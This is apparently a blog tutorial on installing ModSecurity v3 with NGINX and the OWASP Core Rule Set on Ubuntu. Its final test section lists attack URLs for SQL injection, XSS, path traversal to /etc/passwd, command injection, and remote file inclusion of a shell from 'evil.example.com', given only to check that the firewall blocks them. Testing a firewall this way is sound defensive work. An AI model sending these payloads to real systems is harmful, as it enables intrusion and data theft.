Skip to main content

Command Palette

Search for a command to run...

Secure Your Website: A Complete Guide to Installing ModSecurity v3 and the OWASP CRS

Updated
6 min read
Secure Your Website: A Complete Guide to Installing ModSecurity v3 and the OWASP CRS

In today's web environment, securing your applications is non-negotiable. One of the most effective ways to protect your server from common web attacks like SQL injection, XSS, and remote code execution is by implementing a Web Application Firewall (WAF).

ModSecurity is the world's most popular open-source WAF engine. When paired with the Owasp Core Rule Set (CRS), it provides a powerful and robust layer of defense.

This guide provides a complete, step-by-step walkthrough for compiling and installing ModSecurity v3 from scratch, integrating it with NGINX as a dynamic module, and enabling the powerful OWASP CRS on an Ubuntu server.

Part 1 – Compiling and Installing the Modules and Enabling ModSecurity v3

This guide shows the complete installation of ModSecurity v3 with NGINX and the OWASP Core Rule Set (CRS) on an Ubuntu server – including correct module paths, symlink conventions, and example tests.

1. Install Dependencies

First, let's update our server and install all the necessary build tools and libraries. This includes git, the build essentials, and various development libraries ModSecurity relies on.

sudo apt update
sudo apt install -y git g++ build-essential autoconf automake libtool \
  libpcre3 libpcre3-dev libpcre2-dev libxml2 libxml2-dev libyajl-dev \
  pkg-config zlib1g zlib1g-dev libcurl4-openssl-dev \
  liblua5.3-dev libgeoip-dev doxygen

2. Compile and Install ModSecurity v3

We'll work within the /usr/local/src directory, a common place for building source code. We will clone the ModSecurity repository, initialize its submodules (which are required), and then run the build and installation process.

cd /usr/local/src
sudo git clone --depth 1 -b v3/master --single-branch https://github.com/SpiderLabs/ModSecurity
cd ModSecurity
sudo git submodule init
sudo git submodule update
sudo ./build.sh
sudo ./configure
sudo make -j"$(nproc)"
sudo make install
sudo apt install nginx

After a successful installation, ModSecurity was set up and the directory /usr/local/modsecurity was created, among others.

3. Build the NGINX Module

Now we need the "glue" that connects NGINX to ModSecurity. This is a dynamic module that must be compiled against your exact running version of NGINX.

First, check your NGINX version:

nginx -v

In my case, output was:

nginx version: nginx/1.18.0 (Ubuntu)

Depending on that, you’ll need the NGINX source to build the ModSecurity module. In the example code, we clone ModSecurity‑nginx.git and then download the NGINX 1.24.0 source.

Then you build only the NGINX modules with sudo make modules.

cd /usr/local/src
sudo git clone https://github.com/SpiderLabs/ModSecurity-nginx.git
sudo wget http://nginx.org/download/nginx-1.18.0.tar.gz
sudo tar -xzf nginx-1.18.0.tar.gz
cd nginx-1.18.0
sudo ./configure --with-compat --add-dynamic-module=/usr/local/src//ModSecurity-nginx
sudo make modules

4. Place and Enable the Module

You should now be in the directory /usr/local/src/nginx-1.18.0.

Copy the created NGINX module into the modules directory, then create the file mod-modsecurity.conf and the symlink in nginx/modules-available.

This configuration assumes:

  • existing modules are in /usr/share/nginx/modules-available

  • symlinks for enabled modules are in /etc/nginx/modules-enabled

sudo cp objs/ngx_http_modsecurity_module.so /usr/lib/nginx/modules/
sudo chmod 0644 /usr/lib/nginx/modules/ngx_http_modsecurity_module.so
echo "load_module modules/ngx_http_modsecurity_module.so;" | sudo tee /usr/share/nginx/modules-available/mod-modsecurity.conf
sudo ln -s /usr/share/nginx/modules-available/mod-modsecurity.conf /etc/nginx/modules-enabled/50-modsecurity.conf

5. Create ModSecurity Configuration

Next, create the base configuration for ModSecurity.

sudo mkdir -p /etc/nginx/modsec
cd /etc/nginx/modsec
sudo cp /usr/local/src/ModSecurity/modsecurity.conf-recommended ./modsecurity.conf
sudo cp /usr/local/src/ModSecurity/unicode.mapping .

If the unicode.mapping file is missing, you can download it via wget:

wget https://raw.githubusercontent.com/SpiderLabs/ModSecurity/v3/master/unicode.mapping -O /etc/nginx/modsec/unicode.mapping

6. Enable Basic Rules

You have just copied modsecurity.conf into /etc/nginx/modsec.

Check that the following parameters are set correctly in the file:

SecRuleEngine On
SecAuditEngine RelevantOnly
SecAuditLog /var/log/modsec_audit.log
  • SecRuleEngine On: This is the master switch. It activates ModSecurity.

  • SecAuditEngine RelevantOnly: This logs only requests that were either blocked or generated an error.

  • SecAuditLog: This specifies where to write the audit logs.

7. Integrate the Module into Your Site and Test

Open your site’s NGINX config file in /etc/nginx/sites-enabled

In the server block, right after listen, insert the following:

server {
  listen ...
  server_name ...

      # activate ModSecurity
    modsecurity on;
    modsecurity_rules_file /etc/nginx/modsec/modsecurity.conf;

Now create the file /etc/nginx/modsec/modsec_test.conf:

sudo nano /etc/nginx/modsec/modsec_test.conf

Add the following content:

# For testing purpose
SecRule REQUEST_URI "@contains blockme" "id:1001,phase:1,deny,status:403,msg:'Test rule triggered',chain"
SecRule REQUEST_URI "@beginsWith /test/"

Then edit /etc/nginx/modsec/modsecurity.conf:

sudo nano /etc/nginx/modsec/modsecurity.conf

Add this Include line at the end:

modsecurity.conf excerptInclude /etc/nginx/modsec/modsec_test.conf

Include /etc/nginx/modsec/modsec_test.conf

You must now reload nginx:

sudo nginx -t && sudo systemctl reload nginx

From your local computer, send a test request using curl, or just enter the address in your web browser.

If you use curl, the result should look similar to:

curl -i "http://localhost/test/?test=blockme"
HTTP/1.1 403 Forbidden
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 23 Oct 2025 08:29:47 GMT
Content-Type: text/html
Content-Length: 162
Connection: keep-alive

The important part is HTTP/2 403, the HTTP status code for Forbidden, meaning the request was blocked and ModSecurity is working.

Part 2 – Download and Activate the OWASP CRS

The following commands will let you download and activate the rule set. Change to the modsec directory, clone the Git repository, and create the crs-setup.conf file:

cd /etc/nginx/modsec
sudo git clone https://github.com/coreruleset/coreruleset.git

cd coreruleset
sudo cp crs-setup.conf.example crs-setup.conf

It should download the lastest CSR to /rule folder:

/etc/nginx/modsec/coreruleset/rules# ls
asp-dotnet-errors.data                                REQUEST-944-APPLICATION-ATTACK-JAVA.conf
iis-errors.data                                       REQUEST-949-BLOCKING-EVALUATION.conf
java-classes.data                                     RESPONSE-950-DATA-LEAKAGES.conf
lfi-os-files.data                                     RESPONSE-951-DATA-LEAKAGES-SQL.conf
php-errors.data                                       RESPONSE-952-DATA-LEAKAGES-JAVA.conf
php-function-names-933150.data                        RESPONSE-953-DATA-LEAKAGES-PHP.conf
php-variables.data                                    RESPONSE-954-DATA-LEAKAGES-IIS.conf
REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf.example   RESPONSE-955-WEB-SHELLS.conf
REQUEST-901-INITIALIZATION.conf                       RESPONSE-956-DATA-LEAKAGES-RUBY.conf
REQUEST-905-COMMON-EXCEPTIONS.conf                    RESPONSE-959-BLOCKING-EVALUATION.conf
REQUEST-911-METHOD-ENFORCEMENT.conf                   RESPONSE-980-CORRELATION.conf
REQUEST-913-SCANNER-DETECTION.conf                    RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf.example
REQUEST-920-PROTOCOL-ENFORCEMENT.conf                 restricted-files.data
REQUEST-921-PROTOCOL-ATTACK.conf                      restricted-upload.data
REQUEST-922-MULTIPART-ATTACK.conf                     ruby-errors.data
REQUEST-930-APPLICATION-ATTACK-LFI.conf               scanners-user-agents.data
REQUEST-931-APPLICATION-ATTACK-RFI.conf               sql-errors.data
REQUEST-932-APPLICATION-ATTACK-RCE.conf               ssrf.data
REQUEST-933-APPLICATION-ATTACK-PHP.conf               unix-shell-builtins.data
REQUEST-934-APPLICATION-ATTACK-GENERIC.conf           unix-shell.data
REQUEST-941-APPLICATION-ATTACK-XSS.conf               web-shells-asp.data
REQUEST-942-APPLICATION-ATTACK-SQLI.conf              web-shells-php.data
REQUEST-943-APPLICATION-ATTACK-SESSION-FIXATION.conf  windows-powershell-commands.data

Next, include the following files in your modsecurity.conf file to activate the OWASP CRS:

Include /etc/nginx/modsec/coreruleset/crs-setup.conf
Include /etc/nginx/modsec/coreruleset/rules/*.conf

After restarting NGINX, the rule set is active:

sudo nginx -t && sudo systemctl reload nginx
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful

Testing the OWASP CRS

The following tests can be used to verify that the rule set is working. Either enter the URL in your browser or use curl with the -I parameter.

SQL injection via manipulated parameter: http://ip/?id=1'+or+1=1--

Cross Site Scripting (XSS) – simple JavaScript: http://ip/?search=<script>alert.js</script>

Attempt to access a sensitive .env file: http://ip/.env

Path traversal to access system files: http://ip/index.php?file=../../../../etc/passwd

Command Injection via GET parameter: http://ip/?cmd=ls%20-la

Local File Inclusion (LFI): http://ip/?testfile=../../../../etc/passwd%00

Remote File Inclusion (RFI): http://ip/?page=http://evil.example.com/shell.txt&cmd=ls

If you receive 403 responses for these requests, congratulations! Your server is now protected by ModSecurity v3 and the industry-standard OWASP Core Rule Set.

Your Server is Secured. What's Next?

Congratulations! By following this guide, you have successfully compiled ModSecurity v3 from scratch, integrated it as a dynamic NGINX module, and deployed the powerful OWASP Core Rule Set. Your web server now has a formidable, active defense against the web's most common and dangerous attacks.

But the journey doesn't end here. A WAF is not a "set it and forget it" tool. Your immediate next step is to monitor and tune.

  • Watch the Logs: Keep a close eye on your ModSecurity audit log, which we configured at /var/log/modsec_audit.log. This file is your best friend. It will show you exactly what is being blocked and why.

  • Tune for False Positives: The OWASP CRS is designed to be strict, which means it might occasionally block legitimate requests from your application (known as "false positives"). By analyzing the logs, you can identify these and create custom rules to whitelist specific actions for your application, ensuring normal functionality isn't interrupted.

  • Stay Updated: Security is a moving target. Regularly update your OWASP CRS rules by running git pull inside the /etc/nginx/modsec/coreruleset directory to protect against the latest threats.

You've built a solid foundation for your web application's security. By actively monitoring and tuning your new WAF, you can maintain a robust defense that is perfectly tailored to your environment.